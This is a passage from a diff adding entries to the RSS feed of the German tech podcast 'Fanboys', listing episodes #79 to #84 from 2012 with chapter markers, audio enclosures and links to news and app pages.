href="http://itunes.apple.com/de/app/mcpixel/id552175739?mt=8" target="_blank">McPixel</td></tr><tr><td>00:51:55</td><td><a href="http://open.spotify.com/album/0x3affnOCd5WtSE7hHEAYr" target="_blank">Lost Cities</td></tr><tr><td>00:56:51</td><td><a href="http://www.youtube.com/watch?v=ud-AUboZl3A&amp;feature=g-like" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:10" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:15" title="un Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:16" title="Neue Facebook App" href="https://www.facebook.com/notes/facebook-engineering/under-the-hood-rebuilding-facebook-for-ios/10151036091753920" />
+ <sc:chapter start="00:08:13" title="Native vs HTML5" href="http://branch.com/b/a-blow-to-html5" />
+ <sc:chapter start="00:10:29" title="Gema vs Musikpiraten" href="http://www.heise.de/tp/artikel/37/37514/1.html" />
+ <sc:chapter start="00:16:43" title="Leistungsschutzrecht Update" />
+ <sc:chapter start="00:19:29" title="#bombe" href="http://vimeo.com/48399328" />
+ <sc:chapter start="00:27:14" title="Apple und Samsung" href="http://www.bbc.com/news/technology-19391235" />
+ <sc:chapter start="00:33:38" title="Ace Attorney HD" href="http://www.iphoneblog.de/2012/08/29/diesen-herbst-phoenix-wright-ace-attorney-trilogy-hd/" />
+ <sc:chapter start="00:35:27" title="Nativer Gimp" href="http://www.gimp.org/downloads/" />
+ <sc:chapter start="00:39:51" title="Bastion für iPad" href="http://itunes.apple.com/de/app/bastion/id537773100?mt=8" />
+ <sc:chapter start="00:42:05" title="The Curse" href="http://www.thecursegame.com" />
+ <sc:chapter start="00:45:36" title="Nihilumbra" href="http://itunes.apple.com/us/app/nihilumbra/id500161349?mt=8" />
+ <sc:chapter start="00:49:08" title="McPixel" href="http://itunes.apple.com/de/app/mcpixel/id552175739?mt=8" />
+ <sc:chapter start="00:51:55" title="Lost Cities" href="http://open.spotify.com/album/0x3affnOCd5WtSE7hHEAYr" />
+ <sc:chapter start="00:56:51" title="Rausschmeisser" href="http://www.youtube.com/watch?v=ud-AUboZl3A&amp;feature=g-like" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2384&amp;user_id=map&amp;title=Fanboys%20Episode%2084&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#84:" />
+ </item>
+ <item>
+ <title>Episode #83 - Lost Cities</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Lost Cities</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN083.mp3" length="54482904" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN083</guid>
+ <pubDate>Mon, 20 Aug 2012 20:28:15 +0200</pubDate>
+ <itunes:duration>01:53:22</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:05 Mit Dominik
+00:01:07 Marcel
+00:01:17 Lisa
+00:01:20 Toby
+00:01:23 und Martin
+00:02:09 Lost Cities
+00:02:51 Spielsuche
+00:11:49 Spielmechanik
+00:18:10 Thematik
+00:21:12 Anpassung für das iPhone
+00:28:06 Steampunk
+00:32:33 Reiner Knizia
+00:36:50 Game Center
+00:39:21 Multitouch is hard
+00:53:27 Iconfactory
+00:57:59 Game Center Turn-Based Multiplayer
+01:03:26 Smiley Chat
+01:08:52 Soundtrack
+01:14:31 Computergegner
+01:24:55 Achievements und Skill Level
+01:30:13 Tutorial
+01:36:29 Technisches
+01:50:33 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:05</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:01:07</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:01:17</td><td><a href="http://twitter.com/ellduin" target="_blank">Lisa</td></tr><tr><td>00:01:20</td><td><a href="http://twitter.com/kluepfel" target="_blank">Toby</td></tr><tr><td>00:01:23</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:02:09</td><td><a href="http://itunes.apple.com/de/app/lost-cities/id465062454?ls=1&amp;mt=8" target="_blank">Lost Cities</td></tr><tr><td>00:02:51</td><td>Spielsuche</td></tr><tr><td>00:11:49</td><td>Spielmechanik</td></tr><tr><td>00:18:10</td><td>Thematik</td></tr><tr><td>00:21:12</td><td>Anpassung für das iPhone</td></tr><tr><td>00:28:06</td><td>Steampunk</td></tr><tr><td>00:32:33</td><td><a href="http://reinerknizia.de" target="_blank">Reiner Knizia</td></tr><tr><td>00:36:50</td><td>Game Center</td></tr><tr><td>00:39:21</td><td>Multitouch is hard</td></tr><tr><td>00:53:27</td><td>Iconfactory</td></tr><tr><td>00:57:59</td><td>Game Center Turn-Based Multiplayer</td></tr><tr><td>01:03:26</td><td>Smiley Chat</td></tr><tr><td>01:08:52</td><td>Soundtrack</td></tr><tr><td>01:14:31</td><td>Computergegner</td></tr><tr><td>01:24:55</td><td>Achievements und Skill Level</td></tr><tr><td>01:30:13</td><td>Tutorial</td></tr><tr><td>01:36:29</td><td>Technisches</td></tr><tr><td>01:50:33</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:05" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:01:07" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:01:17" title="Lisa" href="http://twitter.com/ellduin" />
+ <sc:chapter start="00:01:20" title="Toby" href="http://twitter.com/kluepfel" />
+ <sc:chapter start="00:01:23" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:02:09" title="Lost Cities" href="http://itunes.apple.com/de/app/lost-cities/id465062454?ls=1&amp;mt=8" />
+ <sc:chapter start="00:02:51" title="Spielsuche" />
+ <sc:chapter start="00:11:49" title="Spielmechanik" />
+ <sc:chapter start="00:18:10" title="Thematik" />
+ <sc:chapter start="00:21:12" title="Anpassung für das iPhone" />
+ <sc:chapter start="00:28:06" title="Steampunk" />
+ <sc:chapter start="00:32:33" title="Reiner Knizia" href="http://reinerknizia.de" />
+ <sc:chapter start="00:36:50" title="Game Center" />
+ <sc:chapter start="00:39:21" title="Multitouch is hard" />
+ <sc:chapter start="00:53:27" title="Iconfactory" />
+ <sc:chapter start="00:57:59" title="Game Center Turn-Based Multiplayer" />
+ <sc:chapter start="01:03:26" title="Smiley Chat" />
+ <sc:chapter start="01:08:52" title="Soundtrack" />
+ <sc:chapter start="01:14:31" title="Computergegner" />
+ <sc:chapter start="01:24:55" title="Achievements und Skill Level" />
+ <sc:chapter start="01:30:13" title="Tutorial" />
+ <sc:chapter start="01:36:29" title="Technisches" />
+ <sc:chapter start="01:50:33" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2383&amp;user_id=map&amp;title=Fanboys%20Episode%2083&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#83:" />
+ </item>
+ <item>
+ <title>Episode #82 - Der pinkelnde Lycos Hund</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Der pinkelnde Lycos Hund</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN082.mp3" length="41001840" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN082</guid>
+ <pubDate>Fri, 17 Aug 2012 23:15:13 +0200</pubDate>
+ <itunes:duration>01:25:17</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Marcel
+00:00:14 und Martin
+00:01:46 Twitter API Kontroverse
+00:13:37 status.net
+00:16:43 app.net
+00:23:25 heello.com
+00:25:56 iPad Air
+00:30:54 Assange
+00:38:04 Zusammenfassung
+00:42:13 Music.app vs. Spotify.app
+00:45:52 CSR Racing
+00:50:11 Office-Empfehlung
+00:52:50 Suchmaschine in Safari 6
+00:55:18 Mountain Lion Update und Filevault
+00:59:21 Helligkeit auf iOS
+01:02:23 Nexus 7 Tagebuch
+01:08:28 Horn
+01:13:02 Camera+
+01:16:38 Flixel
+01:23:23 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:46</td><td><a href="https://dev.twitter.com/blog/changes-coming-to-twitter-api" target="_blank">Twitter API Kontroverse</td></tr><tr><td>00:13:37</td><td>status.net</td></tr><tr><td>00:16:43</td><td>app.net</td></tr><tr><td>00:23:25</td><td><a href="http://new.heello.com" target="_blank">heello.com</td></tr><tr><td>00:25:56</td><td><a href="http://daringfireball.net/2012/08/ipad_mini_even_througher" target="_blank">iPad Air</td></tr><tr><td>00:30:54</td><td><a href="http://www.zeit.de/politik/ausland/2012-08/assange-projektion" target="_blank">Assange</td></tr><tr><td>00:38:04</td><td><a href="http://www.guardian.co.uk/media/2010/dec/17/julian-assange-sweden" target="_blank">Zusammenfassung</td></tr><tr><td>00:42:13</td><td>Music.app vs. Spotify.app</td></tr><tr><td>00:45:52</td><td><a href="http://www.tuaw.com/2012/08/15/natural-motion-on-track-to-make-12-million-a-month-with-csr-rac/#aol-comments" target="_blank">CSR Racing</td></tr><tr><td>00:50:11</td><td>Office-Empfehlung</td></tr><tr><td>00:52:50</td><td><a href="http://help.duckduckgo.com/customer/portal/articles/255650" target="_blank">Suchmaschine in Safari 6</td></tr><tr><td>00:55:18</td><td>Mountain Lion Update und Filevault</td></tr><tr><td>00:59:21</td><td>Helligkeit auf iOS</td></tr><tr><td>01:02:23</td><td>Nexus 7 Tagebuch</td></tr><tr><td>01:08:28</td><td><a href="http://itunes.apple.com/us/app/horn/id549350579?mt=8" target="_blank">Horn</td></tr><tr><td>01:13:02</td><td><a href="http://campl.us" target="_blank">Camera+</td></tr><tr><td>01:16:38</td><td><a href="http://flixel.com" target="_blank">Flixel</td></tr><tr><td>01:23:23</td><td><a href="http://freepussyriot.org" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:14" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:46" title="Twitter API Kontroverse" href="https://dev.twitter.com/blog/changes-coming-to-twitter-api" />
+ <sc:chapter start="00:13:37" title="status.net" />
+ <sc:chapter start="00:16:43" title="app.net" />
+ <sc:chapter start="00:23:25" title="heello.com" href="http://new.heello.com" />
+ <sc:chapter start="00:25:56" title="iPad Air" href="http://daringfireball.net/2012/08/ipad_mini_even_througher" />
+ <sc:chapter start="00:30:54" title="Assange" href="http://www.zeit.de/politik/ausland/2012-08/assange-projektion" />
+ <sc:chapter start="00:38:04" title="Zusammenfassung" href="http://www.guardian.co.uk/media/2010/dec/17/julian-assange-sweden" />
+ <sc:chapter start="00:42:13" title="Music.app vs. Spotify.app" />
+ <sc:chapter start="00:45:52" title="CSR Racing" href="http://www.tuaw.com/2012/08/15/natural-motion-on-track-to-make-12-million-a-month-with-csr-rac/#aol-comments" />
+ <sc:chapter start="00:50:11" title="Office-Empfehlung" />
+ <sc:chapter start="00:52:50" title="Suchmaschine in Safari 6" href="http://help.duckduckgo.com/customer/portal/articles/255650" />
+ <sc:chapter start="00:55:18" title="Mountain Lion Update und Filevault" />
+ <sc:chapter start="00:59:21" title="Helligkeit auf iOS" />
+ <sc:chapter start="01:02:23" title="Nexus 7 Tagebuch" />
+ <sc:chapter start="01:08:28" title="Horn" href="http://itunes.apple.com/us/app/horn/id549350579?mt=8" />
+ <sc:chapter start="01:13:02" title="Camera+" href="http://campl.us" />
+ <sc:chapter start="01:16:38" title="Flixel" href="http://flixel.com" />
+ <sc:chapter start="01:23:23" title="Rausschmeisser" href="http://freepussyriot.org" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2382&amp;user_id=map&amp;title=Fanboys%20Episode%2082&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#82:" />
+ </item>
+ <item>
+ <title>Episode #81 - Giraffen und Adler</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Giraffen und Adler</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN081.mp3" length="30549517" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN081</guid>
+ <pubDate>Fri, 10 Aug 2012 23:01:41 +0200</pubDate>
+ <itunes:duration>01:03:30</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:12 Marcel
+00:00:17 und Martin
+00:01:41 Reminders Tipp
+00:05:16 TextMate 2
+00:09:34 Lost Cities
+00:13:03 Samsung ./. Apple
+00:17:28 Nexus 7
+00:26:08 Longphone
+00:30:40 Battle.net hat Emails verloren
+00:32:47 iCloud Hack
+00:38:42 Xbox Schmerzen
+00:42:29 Voice Over Tipps
+00:47:09 Boston Legal
+00:51:31 Deadlight
+00:59:23 Riven
+01:03:17 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:17</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:41</td><td>Reminders Tipp</td></tr><tr><td>00:05:16</td><td><a href="http://blog.macromates.com/2012/textmate-2-at-github/" target="_blank">TextMate 2</td></tr><tr><td>00:09:34</td><td><a href="https://twitter.com/LostCitiesApp/" target="_blank">Lost Cities</td></tr><tr><td>00:13:03</td><td><a href="http://www.scribd.com/doc/102317767/Samsung-Relative-Evaluation-Report-on-S1-iPhone" target="_blank">Samsung ./. Apple</td></tr><tr><td>00:17:28</td><td><a href="http://www.google.com/nexus/#/7" target="_blank">Nexus 7</td></tr><tr><td>00:26:08</td><td><a href="http://www.macrumors.com/2012/08/07/how-to-adjust-the-resolution-of-the-iphone-simulator-to-1136x640/" target="_blank">Longphone</td></tr><tr><td>00:30:40</td><td><a href="http://www.develop-online.net/news/41690/Blizzards-Battlenet-hacked" target="_blank">Battle.net hat Emails verloren</td></tr><tr><td>00:32:47</td><td><a href="http://www.wired.com/gadgetlab/2012/08/apple-amazon-mat-honan-hacking/" target="_blank">iCloud Hack</td></tr><tr><td>00:38:42</td><td>Xbox Schmerzen</td></tr><tr><td>00:42:29</td><td>Voice Over Tipps</td></tr><tr><td>00:47:09</td><td><a href="http://en.wikipedia.org/wiki/Boston_Legal" target="_blank">Boston Legal</td></tr><tr><td>00:51:31</td><td><a href="http://en.wikipedia.org/wiki/Deadlight" target="_blank">Deadlight</td></tr><tr><td>00:59:23</td><td><a href="http://en.wikipedia.org/wiki/Riven" target="_blank">Riven</td></tr><tr><td>01:03:17</td><td><a href="http://www.youtube.com/watch?v=SQs-W7_gFrM" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:17" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:41" title="Reminders Tipp" />
+ <sc:chapter start="00:05:16" title="TextMate 2" href="http://blog.macromates.com/2012/textmate-2-at-github/" />
+ <sc:chapter start="00:09:34" title="Lost Cities" href="https://twitter.com/LostCitiesApp/" />
+ <sc:chapter start="00:13:03" title="Samsung ./. Apple" href="http://www.scribd.com/doc/102317767/Samsung-Relative-Evaluation-Report-on-S1-iPhone" />
+ <sc:chapter start="00:17:28" title="Nexus 7" href="http://www.google.com/nexus/#/7" />
+ <sc:chapter start="00:26:08" title="Longphone" href="http://www.macrumors.com/2012/08/07/how-to-adjust-the-resolution-of-the-iphone-simulator-to-1136x640/" />
+ <sc:chapter start="00:30:40" title="Battle.net hat Emails verloren" href="http://www.develop-online.net/news/41690/Blizzards-Battlenet-hacked" />
+ <sc:chapter start="00:32:47" title="iCloud Hack" href="http://www.wired.com/gadgetlab/2012/08/apple-amazon-mat-honan-hacking/" />
+ <sc:chapter start="00:38:42" title="Xbox Schmerzen" />
+ <sc:chapter start="00:42:29" title="Voice Over Tipps" />
+ <sc:chapter start="00:47:09" title="Boston Legal" href="http://en.wikipedia.org/wiki/Boston_Legal" />
+ <sc:chapter start="00:51:31" title="Deadlight" href="http://en.wikipedia.org/wiki/Deadlight" />
+ <sc:chapter start="00:59:23" title="Riven" href="http://en.wikipedia.org/wiki/Riven" />
+ <sc:chapter start="01:03:17" title="Rausschmeisser" href="http://www.youtube.com/watch?v=SQs-W7_gFrM" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2381&amp;user_id=map&amp;title=Fanboys%20Episode%2081&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#81:" />
+ </item>
+ <item>
+ <title>Episode #80 - Conan Drum!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Conan Drum!</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN080.mp3" length="25694085" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN080</guid>
+ <pubDate>Fri, 03 Aug 2012 21:26:24 +0200</pubDate>
+ <itunes:duration>00:53:23</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:13 und Martin
+00:00:32 Zugriffszwecke
+00:04:06 Signiert oder nicht signiert
+00:06:21 iPhone Prototypen
+00:07:55 Phony
+00:11:16 Metro
+00:14:44 Neue Mountain Lion Command Line Tools
+00:19:13 Hulu Plus
+00:20:44 Sony Bashing
+00:24:13 Apple Genius Werbung
+00:31:15 Quantum Conundrum
+00:41:48 10000000
+00:48:32 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td>Mit Dominik</td></tr><tr><td>00:00:13</td><td>und Martin</td></tr><tr><td>00:00:32</td><td>Zugriffszwecke</td></tr><tr><td>00:04:06</td><td>Signiert oder nicht signiert</td></tr><tr><td>00:06:21</td><td><a href="http://www.tomshardware.com/news/iphone-apple-samsung-iphone-ipad,16573.html" target="_blank">iPhone Prototypen</td></tr><tr><td>00:07:55</td><td><a href="http://tech.fortune.cnn.com/2012/08/01/the-sony-device-samsung-claims-inspired-apples-iphone/?source=yahoo_quote" target="_blank">Phony</td></tr><tr><td>00:11:16</td><td><a href="http://arstechnica.com/information-technology/2012/08/microsoft-metro-out-windows-8-style-ui-in-amid-rumors-of-a-trademark-dispute/" target="_blank">Metro</td></tr><tr><td>00:14:44</td><td><a href="http://apple.blogoverflow.com/2012/07/interesting-new-unix-commandsbinaries-in-os-x-mountain-lion/" target="_blank">Neue Mountain Lion Command Line Tools</td></tr><tr><td>00:19:13</td><td>Hulu Plus</td></tr><tr><td>00:20:44</td><td>Sony Bashing</td></tr><tr><td>00:24:13</td><td><a href="http://www.youtube.com/user/Apple" target="_blank">Apple Genius Werbung</td></tr><tr><td>00:31:15</td><td><a href="http://en.wikipedia.org/wiki/Quantum_Conundrum" target="_blank">Quantum Conundrum</td></tr><tr><td>00:41:48</td><td><a href="http://itunes.apple.com/us/app/10000000/id544385071?mt=8" target="_blank">10000000</td></tr><tr><td>00:48:32</td><td><a href="https://www.youtube.com/watch?v=uz2jbCJXkpA" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" />
+ <sc:chapter start="00:00:13" title="und Martin" />
+ <sc:chapter start="00:00:32" title="Zugriffszwecke" />
+ <sc:chapter start="00:04:06" title="Signiert oder nicht signiert" />
+ <sc:chapter start="00:06:21" title="iPhone Prototypen" href="http://www.tomshardware.com/news/iphone-apple-samsung-iphone-ipad,16573.html" />
+ <sc:chapter start="00:07:55" title="Phony" href="http://tech.fortune.cnn.com/2012/08/01/the-sony-device-samsung-claims-inspired-apples-iphone/?source=yahoo_quote" />
+ <sc:chapter start="00:11:16" title="Metro" href="http://arstechnica.com/information-technology/2012/08/microsoft-metro-out-windows-8-style-ui-in-amid-rumors-of-a-trademark-dispute/" />
+ <sc:chapter start="00:14:44" title="Neue Mountain Lion Command Line Tools" href="http://apple.blogoverflow.com/2012/07/interesting-new-unix-commandsbinaries-in-os-x-mountain-lion/" />
+ <sc:chapter start="00:19:13" title="Hulu Plus" />
+ <sc:chapter start="00:20:44" title="Sony Bashing" />
+ <sc:chapter start="00:24:13" title="Apple Genius Werbung" href="http://www.youtube.com/user/Apple" />
+ <sc:chapter start="00:31:15" title="Quantum Conundrum" href="http://en.wikipedia.org/wiki/Quantum_Conundrum" />
+ <sc:chapter start="00:41:48" title="10000000" href="http://itunes.apple.com/us/app/10000000/id544385071?mt=8" />
+ <sc:chapter start="00:48:32" title="Rausschmeisser" href="https://www.youtube.com/watch?v=uz2jbCJXkpA" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2380&amp;user_id=map&amp;title=Fanboys%20Episode%2080&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#80:" />
+ </item>
+ <item>
+ <title>Episode #79 - Funboys</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Funboys</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN079.mp3" length="43816586" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN079</guid>
+ <pubDate>Fri, 27 Jul 2012 22:38:50 +0200</pubDate>
+ <itunes:duration>01:31:08</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:19 Mit Dominik
+00:01:22 Marcel
+00:01:25 und Martin
+00:03:05 Mountain Lion
+00:06:05 Autosaving
+00:10:01 iCloud Documents
+00:11:51 Gamecenter
+00:15:59 iPad Apps auf dem Desktop?
+00:19:43 Scrollbars
+00:22:38 Dictation
+00:27:51 Calendar und Contacts UI
+00:29:30 Facebook
+00:30:50 Twitter
+00:33:27 Share Button
+00:40:26 Reminders und Notes
+00:43:49 iCloud Syncing
+00:49:20 Messages
+00:51:29 iCloud Tabs
+00:53:32 Gatekeeper
+00:59:48 Scene Kit
+01:03:05 Fullscreen
+01:04:35 Screen Sharing
+01:06:46 ObjC Literals
+01:10:56 Kleinkram
+01:11:08 Siracusa Review
+01:12:24 Screenfonts
+01:13:15 app.net
+01:17:34 Wahlrecht
+01:23:00 Svbtle
+01:23:06 Obtvse
+01:24:05 Rantblog
+01:25:08 Google Earth Flyovers
+01:27:55 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:19</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:01:22</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:01:25</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:03:05</td><td><a href="http://itunes.apple.com/us/app/os-x-mountain-lion/id537386512?mt=12" target="_blank">Mountain Lion</td></tr><tr><td>00:06:05</td><td>Autosaving</td></tr><tr><td>00:10:01</td><td>iCloud Documents</td></tr><tr><td>00:11:51</td><td>Gamecenter</td></tr><tr><td>00:15:59</td><td>iPad Apps auf dem Desktop?</td></tr><tr><td>00:19:43</td><td>Scrollbars</td></tr><tr><td>00:22:38</td><td>Dictation</td></tr><tr><td>00:27:51</td><td>Calendar und Contacts UI</td></tr><tr><td>00:29:30</td><td>Facebook</td></tr><tr><td>00:30:50</td><td>Twitter</td></tr><tr><td>00:33:27</td><td>Share Button</td></tr><tr><td>00:40:26</td><td>Reminders und Notes</td></tr><tr><td>00:43:49</td><td>iCloud Syncing</td></tr><tr><td>00:49:20</td><td>Messages</td></tr><tr><td>00:51:29</td><td>iCloud Tabs</td></tr><tr><td>00:53:32</td><td>Gatekeeper</td></tr><tr><td>00:59:48</td><td>Scene Kit</td></tr><tr><td>01:03:05</td><td>Fullscreen</td></tr><tr><td>01:04:35</td><td>Screen Sharing</td></tr><tr><td>01:06:46</td><td>ObjC Literals</td></tr><tr><td>01:10:56</td><td>Kleinkram</td></tr><tr><td>01:11:08</td><td><a href="http://arstechnica.com/apple/2012/07/os-x-10-8/" target="_blank">Siracusa Review</td></tr><tr><td>01:12:24</td><td>Screenfonts</td></tr><tr><td>01:13:15</td><td><a href="https://join.app.net" target="_blank">app.net</td></tr><tr><td>01:17:34</td><td><a href="http://www.wahlrecht.de/news/2012/2012070601.html" target="_blank">Wahlrecht</td></tr><tr><td>01:23:00</td><td><a href="https://svbtle.com" target="_blank">Svbtle</td></tr><tr><td>01:23:06</td><td><a href="https://github.com/natew/obtvse" target="_blank">Obtvse</td></tr><tr><td>01:24:05</td><td><a href="http://rant.monkeydom.de" target="_blank">Rantblog</td></tr><tr><td>01:25:08</td><td><a href="http://itunes.apple.com/us/app/google-earth/id293622097?mt=8" target="_blank">Google Earth Flyovers</td></tr><tr><td>01:27:55</td><td><a href="http://www.youtube.com/watch?v=-qTIGg3I5y8" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:19" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:01:22" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:01:25" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:03:05" title="Mountain Lion" href="http://itunes.apple.com/us/app/os-x-mountain-lion/id537386512?mt=12" />
+ <sc:chapter start="00:06:05" title="Autosaving" />
+ <sc:chapter start="00:10:01" title="iCloud Documents" />
+ <sc:chapter start="00:11:51" title="Gamecenter" />
+ <sc:chapter start="00:15:59" title="iPad Apps auf dem Desktop?" />
+ <sc:chapter start="00:19:43" title="Scrollbars" />
+ <sc:chapter start="00:22:38" title="Dictation" />
+ <sc:chapter start="00:27:51" title="Calendar und Contacts UI" />
+ <sc:chapter start="00:29:30" title="Facebook" />
+ <sc:chapter start="00:30:50" title="Twitter" />
+ <sc:chapter start="00:33:27" title="Share Button" />
+ <sc:chapter start="00:40:26" title="Reminders und Notes" />
+ <sc:chapter start="00:43:49" title="iCloud Syncing" />
+ <sc:chapter start="00:49:20" title="Messages" />
+ <sc:chapter start="00:51:29" title="iCloud Tabs" />
+ <sc:chapter start="00:53:32" title="Gatekeeper" />
+ <sc:chapter start="00:59:48" title="Scene Kit" />
+ <sc:chapter start="01:03:05" title="Fullscreen" />
+ <sc:chapter start="01:04:35" title="Screen Sharing" />
+ <sc:chapter start="01:06:46" title="ObjC Literals" />
+ <sc:chapter start="01:10:56" title="Kleinkram" />
+ <sc:chapter start="01:11:08" title="Siracusa Review" href="http://arstechnica.com/apple/2012/07/os-x-10-8/" />
+ <sc:chapter start="01:12:24" title="Screenfonts" />
+ <sc:chapter start="01:13:15" title="app.net" href="https://join.app.net" />
+ <sc:chapter start="01:17:34" title="Wahlrecht" href="http://www.wahlrecht.de/news/2012/2012070601.html" />
+ <sc:chapter start="01:23:00" title="Svbtle" href="https://svbtle.com" />
+ <sc:chapter start="01:23:06" title="Obtvse" href="https://github.com/natew/obtvse" />
+ <sc:chapter start="01:24:05" title="Rantblog" href="http://rant.monkeydom.de" />
+ <sc:chapter start="01:25:08" title="Google Earth Flyovers" href="http://itunes.apple.com/us/app/google-earth/id293622097?mt=8" />
+ <sc:chapter start="01:27:55" title="Rausschmeisser" href="http://www.youtube.com/watch?v=-qTIGg3I5y8" />
+ </sc:chapters>
